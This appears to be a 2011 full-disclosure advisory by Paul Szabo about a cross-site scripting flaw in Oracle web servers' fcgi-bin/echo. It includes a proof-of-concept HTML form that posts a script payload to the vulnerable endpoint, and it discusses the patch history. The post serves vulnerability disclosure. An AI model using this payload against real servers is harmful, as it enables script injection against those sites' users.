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Oracle fcgi-bin/echo Cross Site Scripting

Oracle fcgi-bin/echo Cross Site Scripting
Posted Mar 23, 2011
Authored by Paul Szabo

Oracle web server installations with fcgi-bin/echo suffer from a cross site scripting vulnerability.

tags | exploit, web, xss
SHA-256 | 876ccd422be21e22190e6a2ef52166aa0a13d89638cc8bd6d07d521630c33e6d

Oracle fcgi-bin/echo Cross Site Scripting

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Long ago, I wrote about an XSS vulnerability in Oracle fcgi-bin/echo :
http://lists.grok.org.uk/pipermail/full-disclosure/2010-October/076794.html
http://www.securityfocus.com/archive/1/514181
The issue may now be fixed in the latest versions of Oracle web servers:
http://www.integrigy.com/oracle-security-blog/archive/2010/10/10/fastcgi-fcgi-bin-echo
So I now release the PoC for this vulnerability:

<form action="http://server/fcgi-bin/echo" method=post enctype="multipart/form-data">
<input type=text name=xss size=50 value="<script>alert('XSS')</script>"><br>
<input type=submit value="send">
</form>

The "traditional" form of a similar vulnerability
http://osvdb.org/700
is claimed to have been fixed long ago, maybe in
http://www.oracle.com/technetwork/topics/security/cpujan2007-101493.html
However that never was actually fixed by Oracle, but was fixed by
browsers that %-encode the query.

Another interesting reference:
http://www.thisisahmed.com/tia/ohs/ohshardening.html

Cheers,

Paul Szabo psz@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of Sydney Australia

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